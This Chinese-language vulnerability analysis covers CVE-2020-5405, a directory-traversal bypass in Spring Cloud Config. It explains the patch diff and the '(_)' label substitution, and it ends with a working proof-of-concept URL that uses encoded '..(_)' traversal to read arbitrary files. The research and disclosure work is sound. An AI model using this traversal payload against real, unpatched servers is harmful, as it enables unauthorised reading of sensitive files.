CVE-2020-5405 Spring Cloud Config目录遍历漏洞绕过

该漏洞是CVE-2019-3799的绕过。

存在漏洞的版本:2.2.x系列:< 2.2.2,2.1.x系列:< 2.1.7

修复分析

将2.1.6和2.1.7版本进行对比,其中增加了对所有location是否合法的判断。在上一个漏洞(CVE-2019-3799)中仅对path进行了判断。2.1.6版本(左侧)代码第69行将path参数传递给了local变量,两者的值是一样的,在第70行if判断中!isInvalidPath(local) && !isInvalidEncodedPath(local)中的参数local也就是path

diff-2.1.6

isInvalidEncodedLocationisInvalidEncodedPath一样,都是用于判断路径中是否存在%,若存在则再进行一次URL解码再调用isInvalidPath方法,不同的是,isInvalidEncodedLocation调用的是isInvalidLocation方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private boolean isInvalidEncodedLocation(String location) {
if (location.contains("%")) {
try {
// Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8
// chars
String decodedPath = URLDecoder.decode(location, "UTF-8");
if (isInvalidLocation(decodedPath)) {
return true;
}
decodedPath = processPath(decodedPath);
if (isInvalidLocation(decodedPath)) {
return true;
}
}
catch (IllegalArgumentException | UnsupportedEncodingException ex) {
// Should never happen...
}
}
return isInvalidLocation(location);
}

isInvalidLocation方法比isInvalidPath简单一些,仅对..进行判断。isInvalidPath方法则判断WEB-INFMETA-INF:/../多个的字符。

1
2
3
4
5
6
7
8
private boolean isInvalidLocation(String location) {
boolean isInvalid = location.contains("..");

if (isInvalid && logger.isWarnEnabled()) {
logger.warn("Location contains \"..\"");
}
return isInvalid;
}

利用分析

调试所使用版本为spring-cloud-config-2.1.6.RELEASE

漏洞利用需要用到spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java中字符替换的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
synchronized String retrieve(ServletWebRequest request, String name, String profile,
String label, String path, boolean resolvePlaceholders) throws IOException {
name = resolveName(name);
label = resolveLabel(label);
Resource resource = this.resourceRepository.findOne(name, profile, label, path);
if (checkNotModified(request, resource)) {
// Content was not modified. Just return.
return null;
}
// ensure InputStream will be closed to prevent file locks on Windows
try (InputStream is = resource.getInputStream()) {
String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
if (resolvePlaceholders) {
Environment environment = this.environmentRepository.findOne(name,
profile, label);
text = resolvePlaceholders(prepareEnvironment(environment), text);
}
return text;
}
}

关注最开始的两行

1
2
label = resolveLabel(label);
name = resolveName(name);

其中resolveLabelresolveName方法如下,将(_)替换成/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private String resolveName(String name) {
if (name != null && name.contains("(_)")) {
// "(_)" is uncommon in a git repo name, but "/" cannot be matched
// by Spring MVC
name = name.replace("(_)", "/");
}
return name;
}

private String resolveLabel(String label) {
if (label != null && label.contains("(_)")) {
// "(_)" is uncommon in a git branch name, but "/" cannot be matched
// by Spring MVC
label = label.replace("(_)", "/");
}
return label;
}

所以可以利用(_)来代替/作为路径分隔符使得@RequestMapping("/{name}/{profile}/{label}/**"){name}{lable}就能携带路径分隔符和路径回溯符进行任意文件读取。

如果没有这个替换,在路由分配时就没办法在{name}{lable}中进行回溯,举个例子:

1
2
3
4
5
/abc/xyz/../../etc/passwd  => 
name=abc profile=xyz label=.. path=../etc/passwd

/abc/xyz/..(_)../etc/passwd =>
name=abc profile=xyz label=..(_).. path=etc/passwd

尝试构造请求http://127.0.0.1:8889/test/test/%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29tmp/test.txt,报500错误

500-error

查看报错信息,提示Branch name ../../../../../../../tmp is not allowed

error-message

在checkout处会进行git请求,造成报错

src/main/java/org/springframework/cloud/config/server/environment/JGitEnvironmentRepository.java

debug-checkout

因为在默认配置下,spring cloud config使用git远程读取配置,label表示git的分支,在CVE-2019-3799中label的值为master,master分支存在才能进一步读取文件。若修改想要label的值并成功读取任意文件,需要将配置改成本地才不会进行git checkout。

edit-config

修改配置成以下配置,即改为读取本地配置,从而能读取本地文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
info:
component: Config Server
spring:
application:
name: configserver
autoconfigure.exclude: org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration
jmx:
default_domain: cloud.config.server
cloud:
config:
server:
native:
search-locations: file:///Users/seikei/spring-cloud-config-2.1.6.RELEASE/spring-cloud-config-server/src/test/resources/test
profiles:
active: native

server:
port: 8889
management:
context_path: /admin

再次调试,此时locations[1]的值为file:///Users/seikei/Records/Java/spring-cloud-config-2.1.6.RELEASE/spring-cloud-config-server/src/test/resources/test../../../../../../../../../../../tmp/,路径回溯之后正好就是file:/tmp/test.txt

debug-return-file

⚠️:若search-locations使用的是相对路径,比如search-locations: file:./src/test/resources/test,则需要在路径前添加%252f,因为相对路径拼接label再回溯之后会变成file:tmp/test/txt导致无法读取文件。(当然绝对路径多添加一个%252f也能正常访问,在测试时多添加一个%252f能提升PoC的成功率)

debug-relative-path

加上%252f之后就变成了file:%2ftmp/test.txt,在file协议读取文件时会再次URL解码变成file:/tmp/test.txt成功读取文件

debug-add-slash

注:v2.2.0.RELEASE以上无法读取无后缀的文件,在ResourceController中添加了一行获取后缀的代码,若传入无后缀的文件会产生500报错。

https://github.com/spring-cloud/spring-cloud-config/blob/v2.2.0.RELEASE/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L148

notice-ext

复现

通用的PoC,绝对路径和相对路径都能使用:http://127.0.0.1:8889/test/test/%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%252ftmp/test.txt

poc-request